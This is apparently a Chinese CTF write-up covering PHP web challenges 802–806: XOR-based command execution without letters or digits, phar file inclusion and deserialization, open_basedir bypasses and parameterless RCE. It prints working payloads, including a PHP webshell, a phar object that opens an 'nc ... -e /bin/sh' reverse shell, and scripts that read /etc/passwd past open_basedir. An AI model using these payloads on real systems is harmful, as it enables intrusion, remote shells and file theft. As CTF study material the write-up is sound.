本文已参与「新人创作礼」活动,一起开启掘金创作之路。
802 无字母数字命令执行
异或法
通过自增方式获得所有字母
嫖个师傅脚本
羽师傅我的超人
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
803 phar文件包含
下次一定一定记得 没有写权限就往tmp临时目录写...... phar包就当压缩包用了 贴源码
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
可能不谈反序列化,有的人就不想用phar了.. 不用自定义meta-data了
<?php
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$phar->addFromString('test.txt', '<?php system($_POST[a]);?>'); //
$phar->stopBuffering();
// phar生成
?>
记住有个东西叫从文件粘贴...
php单引号和双引号包裹的区别
804 phar反序列化
老生常谈了 题目中如果没有unserialize函数 写过
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
// @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new hacker();
$o->code="system('nc xxxx 7777 -e /bin/sh');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成
?>
利用函数file_exist触发phar解析
805 open_basedir绕过
glob探测目录
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."\n";
}
closedir($b);
}
1.拿p神的脚本镇一下
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
p神 永远滴神
2. chdir过
不赘述
mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");
806 无参数rce
参考
1. session_id执行
仅限php7版本以下使用 http-header传参
在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。
payload:code=eval(hex2bin(session_id(session_start())));
hex("phpinfo();")=706870696e666f28293b
此处第一种方法不可行(maybe我太菜了没理解)
会话已存活 无法改变session_id
2.getallheaders()
获取请求头信息
getallheaders
(PHP 4, PHP 5, PHP 7, PHP 8)
getallheaders — 获取全部 HTTP 请求头信息
说明 ¶ getallheaders(): array 获取当前请求的所有请求头信息。
end
(PHP 4, PHP 5, PHP 7, PHP 8)
end — 将数组的内部指针指向最后一个单元
说明 ¶ end(array|object &$array): mixed end() 将 array 的内部指针移动到最后一个单元并返回其值
array_reverse
(PHP 4, PHP 5, PHP 7, PHP 8)
array_reverse — 返回单元顺序相反的数组
说明 ¶ array_reverse(array preserve_keys = false): array array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
一套combo我们可以取出请求头中最后一位
3. get_defined_vars()
get_defined_vars
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_vars — 返回由所有已定义变量所组成的数组
描述 ¶
get_defined_vars(): array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
先get_defined_vars()得到四个数组get -> post -> cookie -> files
current定位第一个get
code之后再定义一个参数前面套个end就能拿到我们自定义的
/?code=var_dump(end(current(get_defined_vars())));&b=1
4.scandir(current(localeconv()))
写过
5. dirname
php特性:对目录取目录得上级目录!
dirname
(PHP 4, PHP 5, PHP 7, PHP 8)
dirname — 返回路径中的目录部分
说明 ¶
dirname(string levels = 1): string
给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名,且目录深度为 levels 级。
/?code=print_r(scandir(dirname(dirname(dirname(dirname(getcwd()))))));
套娃
show_source和readfile特性
array_flip
(PHP 4, PHP 5, PHP 7, PHP 8)
array_flip — 交换数组中的键和值
说明 ¶ array_flip(array $array): array array_flip() 返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。
array_rand
(PHP 4, PHP 5, PHP 7, PHP 8)
array_rand — 从数组中随机取出一个或多个随机键
说明 ¶ array_rand(array num = 1): int|string|array 从数组中取出一个或多个随机的单元,并返回随机条目对应的键(一个或多个)。 它使用了伪随机数产生算法,所以不适合密码学场景。
参数 ¶ array 输入的数组。
num 指定要取出的单元数量。
返回值 ¶ 如果只取出一个,array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。 如果返回的是包含随机键名的数组,数组单元的顺序按照键名在原数组中的顺序排列。 取出数量如果超过 array 的长度,就会导致 E_WARNING 错误,并返回 NULL。
str_split
(PHP 5, PHP 7, PHP 8)
str_split — 将字符串转换为数组
说明 ¶ str_split(string split_length = 1): array 将一个字符串转换为数组。
参数 ¶ string 输入字符串。
split_length 每一段的长度。
set_include_path
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
set_include_path — 设置 include_path 配置选项
说明 ¶ set_include_path(string $new_include_path): string 为当前脚本设置 include_path 运行时的配置选项。 返回值 ¶ 成功时返回旧的 include_path 或者在失败时返回 false。
此题中旧的include_path为 .:/usr/local/lib/php 存在我们所需要的字符串 / 又能让show_source可以读取include_path下的文件 一举两得
拆分一下看起来更易懂 set_include_path返回 .:/usr/local/lib/php
?code=show_source(array_rand(array_flip(scandir(array_rand(x)); x=array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd()))))))
运气就rand到了 字符串 /
php > echo array_rand(array_flip(str_split('.:/usr/local/lib/php')));
Xdebug: [Step Debug] Time-out connecting to debugging client, waited: 200 ms. Tried: localhost:9000 (through xdebug.client_host/xdebug.client_port) :-(
/
然后同样的套路 show_source随机读 这种利用方法需要持续发包碰运气撞出来
0x02 rethink
本来想801-806放在一起的... 但好像太冗长了 还是拆开来吧